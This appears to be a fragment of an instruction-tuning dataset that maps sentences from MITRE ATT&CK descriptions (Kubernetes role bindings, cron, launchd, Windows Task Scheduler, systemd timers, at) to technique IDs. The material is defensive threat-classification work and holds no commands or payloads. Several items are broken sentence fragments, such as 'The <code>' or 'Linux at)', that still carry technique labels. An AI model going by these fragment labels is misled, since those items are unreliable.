account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023)", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC) ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Note that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation:", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Note that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Kubernetes Service Service Accounts)", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Kubernetes Service Service Accounts) ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003). ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques)", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems. ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code> ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "crontab</code> file contains the schedule of cron entries to be run and the specified times for execution.", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Any <code>crontab</code> files are stored in operating system-specific file paths.", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Any <code>crontab</code> files are stored in operating system-specific file paths. ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003).", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique is deprecated due to the inaccurate usage.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique is deprecated due to the inaccurate usage. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other system services are used to interact with launchd rather than launchd being used by itself.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other system services are used to interact with launchd rather than launchd being used by itself. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons).", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>launchd</code> can also be abused to run a process under the context of a specified account.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>launchd</code> can also be abused to run a process under the context of a specified account. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple ways to access the Task Scheduler in Windows.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple ways to access the Task Scheduler in Windows. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent) ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task)", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd timers are unit files with file extension <code>.timer</code> that control services.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd timers are unit files with file extension <code>.timer</code> that control services. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timers can be set to run on a calendar event or after a time span relative to a starting point.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timers can be set to run on a calendar event or after a time span relative to a starting point. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation:", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux man-pages: systemd January 2014)", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux man-pages: systemd January 2014) ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timers installed using privileged paths may be used to maintain root level persistence.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timers installed using privileged paths may be used to maintain root level persistence. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d) ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code.", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system.", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob)", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes) ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110).", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation:", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux at)", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux at) ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003).", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at) ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality to facilitate 